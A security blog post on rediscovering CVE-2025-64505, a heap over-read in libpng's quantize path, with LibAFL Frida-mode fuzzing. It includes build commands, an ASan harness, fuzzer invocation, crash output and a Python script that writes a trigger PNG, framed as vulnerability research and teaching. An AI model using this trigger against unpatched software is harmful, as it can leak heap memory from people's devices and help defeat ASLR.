CVE-2025-64505: Heap Over-Read in libpng's Quantize Path — Rediscovered with LibAFL
What Happened
In November 2025, the libpng team released version 1.6.51, fixing four buffer overflow CVEs. One of them CVE-2025-64505, is a heap buffer over-read in png_do_quantize, the function responsible for color quantization on indexed-color PNG images. Affected: every version of libpng before 1.6.51.
Apple listed the CVE in their iOS 26.4 security advisory. Google included it in the Android Security Bulletin 2026-06-01. libpng ships on every platform: Android, iOS, macOS, Linux, Windows, and any application that decodes PNG images is a potential target.
After Google published the CVE details, we set out to independently reproduce the vulnerability using LibAFL in Frida mode — a coverage-guided, binary-only fuzzing setup. Starting from a seed corpus of valid indexed-color PNGs, the fuzzer rediscovered the crash in under two minutes.
The Root Cause: Missing Bounds Check in Quantize Lookup
PNG supports indexed color (color type 3), where each pixel is an index into a palette chunk (PLTE). The palette can have up to 256 entries. For 8-bit indexed images, pixel values range from 0 to 255.
libpng has a color quantization feature (png_set_quantize) that reduces the number of colors in an image. When called with full_quantize = 0, it allocates a lookup table called quantize_index, sized to num_palette — the number of entries in the image's palette:
/* pngrtran.c:504 — allocation */
png_ptr->quantize_index = (png_bytep)png_malloc(png_ptr, num_palette);
Later, during row transformation, png_do_quantize uses this table to remap each pixel:
/* pngrtran.c:5013 — vulnerable code */
for (i = 0; i < row_width; i++) {
*sp = quantize_index[*sp]; /* OOB READ when *sp >= num_palette */
sp++;
}
The raw pixel value *sp can be anything from 0 to 255, but quantize_index is only num_palette bytes long. With a 4-entry palette, quantize_index is 4 bytes. A pixel value of 255 reads quantize_index[255] — 251 bytes past the end of the buffer, directly into adjacent heap allocations.
The fix in libpng 1.6.51 is straightforward: allocate the table with 256 entries regardless of num_palette, eliminating the over-read for any valid 8-bit index.
Impact
This is a heap buffer over-read. The over-read data is written back into the image row buffer — meaning the attacker can exfiltrate heap contents through the rendered image output. On iOS 26.3 (libpng 1.6.50), we confirmed that 1,456 pixels out of 4,096 contained leaked heap data (35.5%), including ASCII strings from adjacent allocations.
For full exploitation (code execution), an attacker would additionally need an out-of-bounds write primitive to corrupt heap objects. The over-read alone provides information disclosure — heap layout leaks that can defeat ASLR.
The vulnerability affects any application that:
- Bundles its own libpng < 1.6.51 (cross-platform apps, game engines, image editors)
- Calls
png_set_quantize()for palette reduction, GIF conversion, or dithering - Processes untrusted PNG input
Reproducing with LibAFL Frida Mode
We used a two-component approach to rediscover the vulnerability:
- AddressSanitizer (ASan) as the bug oracle — a heap over-read does not always crash on its own. ASan's redzones turn silent over-reads into hard, attributable crashes.
- LibAFL Frida mode for coverage guidance — Frida Stalker provides edge coverage feedback to drive the mutation engine toward new code paths.
Architecture
┌────────────────────────────────────────────────┐
│ LibAFL Fuzzer (Rust) │
│ ┌─────────────────────────────────────┐ │
│ │ Corpus + Havoc/Token Mutations │ │
│ └──────────┬──────────────────────────┘ │
│ │ mutated PNG bytes │
│ ┌──────────▼──────────────────────────┐ │
│ │ FridaInProcessExecutor │ │
│ │ • CoverageRuntime (Stalker) │ │
│ │ • CmpLogRuntime (optional) │ │
│ └──────────┬──────────────────────────┘ │
│ │ dlopen │
│ ┌──────────▼──────────────────────────┐ │
│ │ libpng-harness.dylib (ASan) │ │
│ │ LLVMFuzzerTestOneInput(data, size) │ │
│ │ → png_read_info → png_set_quantize │ │
│ │ → png_read_row → png_do_quantize │ │
│ │ (libpng 1.6.50 + zlib, static) │ │
│ └─────────────────────────────────────┘ │
└────────────────────────────────────────────────┘
libpng and zlib are statically linked into the harness .dylib with ASan instrumentation. The fuzzer binary links the ASan runtime at load time (via build.rs), so ASan's malloc interceptors install before the harness is dlopen'd.
Setting Up the Lab
Prerequisites
- macOS arm64 with Xcode Command Line Tools
- Rust stable toolchain
- Python 3 with Pillow
- Local LibAFL checkout
Step 1: Get the Vulnerable Sources
export PROJ=/path/to/your/project
cd "$PROJ"
mkdir -p vendor
git clone --depth 1 --branch v1.6.50 \
https://github.com/pnggroup/libpng.git vendor/libpng-src
git clone --depth 1 --branch v1.3.1 \
https://github.com/madler/zlib.git vendor/zlib-src
# Verify the vulnerable function exists
grep -c png_do_quantize vendor/libpng-src/pngrtran.c
grep -m1 PNG_LIBPNG_VER_STRING vendor/libpng-src/png.h # "1.6.50"
Step 2: Build with ASan
export CC="$(xcrun -f clang)"
export SYSROOT="$(xcrun --show-sdk-path)"
export ARCH="-arch arm64 -isysroot $SYSROOT -mmacosx-version-min=14.0"
export SAN="-fsanitize=address -fno-omit-frame-pointer"
export CFLAGS_ALL="$ARCH $SAN -g -O1 \
-DPNG_NO_SIMD_OPTIMIZATIONS -DPNG_ARM_NEON_OPT=0"
Build zlib:
ZOBJ=vendor/build-host/zobj; mkdir -p "$ZOBJ"
for f in adler32 crc32 deflate infback inffast inflate \
inftrees trees zutil compress uncompr; do
$CC $CFLAGS_ALL -DHAVE_HIDDEN -Ivendor/zlib-src \
-c vendor/zlib-src/$f.c -o "$ZOBJ/$f.o"
done
ar rcs vendor/build-host/libz.a "$ZOBJ"/*.o
Build libpng 1.6.50:
cp -f vendor/libpng-src/scripts/pnglibconf.h.prebuilt \
vendor/libpng-src/pnglibconf.h
POBJ=vendor/build-host/pobj; mkdir -p "$POBJ"
for f in png pngerror pngget pngmem pngpread pngread \
pngrio pngrtran pngrutil pngset pngtrans pngwio \
pngwrite pngwtran pngwutil; do
$CC $CFLAGS_ALL -Ivendor/libpng-src -Ivendor/zlib-src \
-c vendor/libpng-src/$f.c -o "$POBJ/$f.o"
done
ar rcs vendor/build-host/libpng16.a "$POBJ"/*.o
The Harness
The harness is the most critical component. For CVE-2025-64505, it must call png_set_quantize with full_quantize = 0 — otherwise the vulnerable code path is unreachable.
// harness.c — drives png_do_quantize to reproduce CVE-2025-64505
#include <png.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <setjmp.h>
typedef struct { const uint8_t *data; size_t size; size_t off; } buf_t;
static void read_cb(png_structp png, png_bytep out, png_size_t len) {
buf_t *b = (buf_t*)png_get_io_ptr(png);
if (b->off + len > b->size) { png_error(png, "eof"); return; }
memcpy(out, b->data + b->off, len);
b->off += len;
}
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size < 8 || png_sig_cmp((png_bytep)data, 0, 8)) return 0;
png_structp png = png_create_read_struct(
PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);
if (!png) return 0;
png_infop info = png_create_info_struct(png);
if (!info) { png_destroy_read_struct(&png, NULL, NULL); return 0; }
if (setjmp(png_jmpbuf(png))) {
png_destroy_read_struct(&png, &info, NULL); return 0;
}
buf_t b = { data, size, 0 };
png_set_read_fn(png, &b, read_cb);
png_read_info(png, info);
// Force the quantization path holding the bug.
// full_quantize MUST be 0 to reach CVE-2025-64505.
int max_colors = 16;
png_colorp palette = NULL; int num_palette = 0;
if (png_get_PLTE(png, info, &palette, &num_palette)
&& num_palette > 0) {
png_set_quantize(png, palette, num_palette,
max_colors, NULL, 0);
} else {
static png_color pal[256];
for (int i = 0; i < 256; i++) {
pal[i].red = i;
pal[i].green = 255 - i;
pal[i].blue = i / 2;
}
png_set_quantize(png, pal, 256, max_colors, NULL, 0);
}
png_read_update_info(png, info);
png_uint_32 h = png_get_image_height(png, info);
png_uint_32 rb = png_get_rowbytes(png, info);
if (rb == 0 || rb > (1u << 24)) {
png_destroy_read_struct(&png, &info, NULL); return 0;
}
png_bytep row = (png_bytep)malloc(rb);
if (!row) { png_destroy_read_struct(&png, &info, NULL); return 0; }
for (png_uint_32 y = 0; y < h; y++)
png_read_row(png, row, NULL);
free(row);
png_read_end(png, info);
png_destroy_read_struct(&png, &info, NULL);
return 0;
}
Why full_quantize = 0 Matters
png_set_quantize has two modes:
full_quantize |
Behavior | quantize_index allocated? |
CVE-2025-64505 reachable? |
|---|---|---|---|
| 1 | Full quantization — builds a color distance map | No | No |
| 0 | Simple palette reduction — builds a lookup table sized num_palette |
Yes | Yes |
With full_quantize = 1, quantize_index is never allocated and the vulnerable *sp = quantize_lookup[*sp] branch is never taken. If your harness uses the wrong mode, the fuzzer will run forever and find nothing.
Build the Harness
# Shared library (the fuzzer loads via dlopen)
$CC $CFLAGS_ALL -fPIC -Ivendor/libpng-src -Ivendor/zlib-src \
-c harness/harness.c -o vendor/build-host/harness.o
$CC $CFLAGS_ALL -dynamiclib \
-install_name @rpath/libpng-harness.dylib \
vendor/build-host/harness.o \
vendor/build-host/libpng16.a vendor/build-host/libz.a \
-o vendor/build-host/libpng-harness.dylib
# Standalone replay driver (for crash reproduction with ASan)
$CC $CFLAGS_ALL -Ivendor/libpng-src -Ivendor/zlib-src \
harness/standalone_main.c vendor/build-host/harness.o \
vendor/build-host/libpng16.a vendor/build-host/libz.a \
-o vendor/build-host/repro
Seed Corpus
The seed corpus needs indexed-color PNGs (color type 3) with varied palette sizes and bit depths. The critical seeds are the ones with small palettes (17, 32 entries) and indices near the palette boundary — one byte-flip away from triggering the over-read.
python3 scripts/gen_corpus.py corpus
ls corpus | wc -l # ~26 seed files
The generator produces Pillow-generated valid indexed PNGs at sizes 8x8 through 64x64, plus hand-built seeds at boundary palette sizes where mutation can push indices out of range:
# Hand-built seeds at the quantize boundary
# palette of 17, pixel index 16 — one mutation pushes past the edge
raw_indexed_png(16, 16, 8, 17, lambda x, y: 16)
# palette of 32, pixel index 31
raw_indexed_png(16, 16, 8, 32, lambda x, y: 31)
Building and Running the Fuzzer
The fuzzer is adapted from LibAFL's fuzzers/binary_only/frida_libpng example. Update Cargo.toml to point at your local LibAFL checkout, then build:
cd "$PROJ/fuzzer"
export SDKROOT="$(xcrun --show-sdk-path)"
export BINDGEN_EXTRA_CLANG_ARGS="-isysroot $SDKROOT"
cargo build --release
Why build.rs Matters
A critical subtlety: build.rs forces the fuzzer binary to link the ASan runtime at load time. Without this, ASan initializes too late — the harness .dylib is loaded via dlopen after the process starts, and LibAFL's restarting launcher re-execs the client process, stripping DYLD_INSERT_LIBRARIES on modern macOS. By linking ASan directly into the fuzzer, malloc interceptors install at process start in every client, turning silent over-reads into reliable crashes.
Run
cd "$PROJ"
rm -rf solutions corpus_discovered; mkdir -p solutions
ASAN_OPTIONS="abort_on_error=1:detect_leaks=0" \
fuzzer/target/release/frida_fuzzer \
-F LLVMFuzzerTestOneInput \
-H "$PROJ/vendor/build-host/libpng-harness.dylib" \
-l libpng-harness.dylib \
-i "$PROJ/corpus" \
-o "$PROJ/solutions" \
-c 0 -t 3000 \
-s /tmp/fuzz_client.log
| Flag | Purpose |
|---|---|
-F |
Harness function name |
-H |
Harness .dylib path (loaded via dlopen) |
-l |
Module to instrument for coverage |
-i |
Input corpus directory |
-o |
Solutions (crashes) output directory |
-c 0 |
Single core |
-t 3000 |
3-second timeout per execution |
Within 60–120 seconds, the fuzzer discovers inputs that trigger the png_do_quantize over-read. ASan catches the violation and aborts; LibAFL records the crashing input.
The Crash
Replaying a fuzzer-discovered crash through the standalone ASan harness:
CRASH=$(ls solutions/ | grep -vE '\.metadata$|^\.' | head -1)
ASAN_OPTIONS="abort_on_error=0:detect_leaks=0:symbolize=1" \
vendor/build-host/repro "solutions/$CRASH"
pngrtran.c:5013The ASan report confirms the vulnerability:
- **
heap-buffer-overflowREAD of size 1** atpngrtran.c:5013— the*sp = quantize_index[*sp]line - Located 4 bytes after a 17-byte region —
quantize_indexwas allocated for 17 palette entries - **Allocated by
png_set_quantizeatpngrtran.c:504** — the allocation site
The shadow bytes show the over-read crossing from a valid allocation (00) into heap left redzones (fa) and freed regions (fd).
Reproducing Without Fuzzing
You can also trigger the vulnerability deterministically with a hand-crafted PNG. The trigger is straightforward: an 8-bit indexed PNG with a small palette and pixel indices that exceed the palette size.
#!/usr/bin/env python3
"""gen_poc.py — hand-build CVE-2025-64505 trigger PNGs."""
import struct, zlib
def chunk(typ, data):
c = typ + data
return (struct.pack(">I", len(data)) + c +
struct.pack(">I", zlib.crc32(c) & 0xffffffff))
def make_png(width, height, palette_entries, index_value):
sig = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", width, height, 8, 3, 0, 0, 0)
plte = b"".join(
struct.pack("BBB", (i*17)&0xff, (i*31)&0xff, (i*51)&0xff)
for i in range(palette_entries))
raw = b""
for _ in range(height):
raw += b"\x00" + bytes([index_value]) * width
idat = zlib.compress(raw, 9)
return (sig + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte) +
chunk(b"IDAT", idat) + chunk(b"IEND", b""))
# Palette of 17 entries, every pixel index = 255
# -> reads 238 bytes past quantize_index
poc = make_png(16, 16, palette_entries=17, index_value=255)
open("poc_overread.png", "wb").write(poc)
This generates a 16x16 PNG with a 17-entry palette where every pixel is index 255. When libpng processes this with quantization enabled, quantize_lookup[255] reads 238 bytes past the 17-byte buffer.
Confirming the Fix
Build the same harness against the system's libpng (1.6.51+, patched):
$CC $ARCH $SAN -g -O1 \
-I/opt/homebrew/include -I/opt/homebrew/include/libpng16 \
harness/harness.c harness/standalone_main.c \
-L/opt/homebrew/lib -lpng16 -lz \
-Wl,-rpath,/opt/homebrew/lib \
-o vendor/repro_systempng
ASAN_OPTIONS=detect_leaks=0 \
vendor/repro_systempng crashes/poc_min.png
# Output: "[*] done (no crash)"
The patched libpng allocates quantize_index with 256 entries, so any 8-bit index is in bounds.
Lessons Learned
1. ASan is the oracle; Frida provides coverage. A heap over-read rarely crashes on its own — the read lands in valid mapped memory. Without ASan, the fuzzer would run for hours and never see a crash, even though every execution triggers the bug. ASan turns a silent over-read into a hard abort. Neither ASan nor Frida coverage is sufficient alone.
2. The harness decides what you can find. If full_quantize is set to 1 instead of 0, the vulnerable branch is unreachable. Understanding the target's internal branching is as important as the fuzzing infrastructure itself.
3. Seeds near the boundary accelerate discovery. Seeds with palettes of 17 or 32 entries and indices at the palette boundary are one mutation away from the trigger. The fuzzer rediscovered the crash in under two minutes with these seeds — with only generic 256-color PNGs, it would take significantly longer.
4. build.rs matters for ASan + dlopen + re-exec. LibAFL's restarting launcher re-execs the client process. On macOS, DYLD_INSERT_LIBRARIES is stripped on re-exec. Linking the ASan runtime directly into the fuzzer binary via build.rs ensures malloc interceptors install in every client.
5. Dictionary tokens accelerate format fuzzing. PNG-specific tokens — the PNG header (\x89PNG\r\n\x1a\n), chunk type codes (IHDR, PLTE, IDAT, IEND) — let the mutator produce structurally valid PNGs without discovering magic bytes through random mutation.
Try It Yourself
If you want to learn this fuzzing pipeline end-to-end — from harness design through crash triage and exploitation — Mobile Hacking Lab offers two courses that cover it in depth:
- Android Userland Fuzzing & Exploitation — LibAFL, AFL++, and Frida-based fuzzing of Android native libraries with real CVEs
- iOS Userland Fuzzing & Exploitation — Fuzzing Apple frameworks with LibAFL Frida mode, crash triage, and exploit development on ARM64
Free resources:
- Mobile Hacking Lab free labs — practice vulnerability analysis and exploitation
- LibAFL documentation — the official LibAFL book
- libpng security advisories — libpng release notes and CVE fixes
- NVD: CVE-2025-64505
- libpng fix commit
- Apple iOS 26.4 advisory
Company
Registration:
97390453
VAT:
NL868032281B01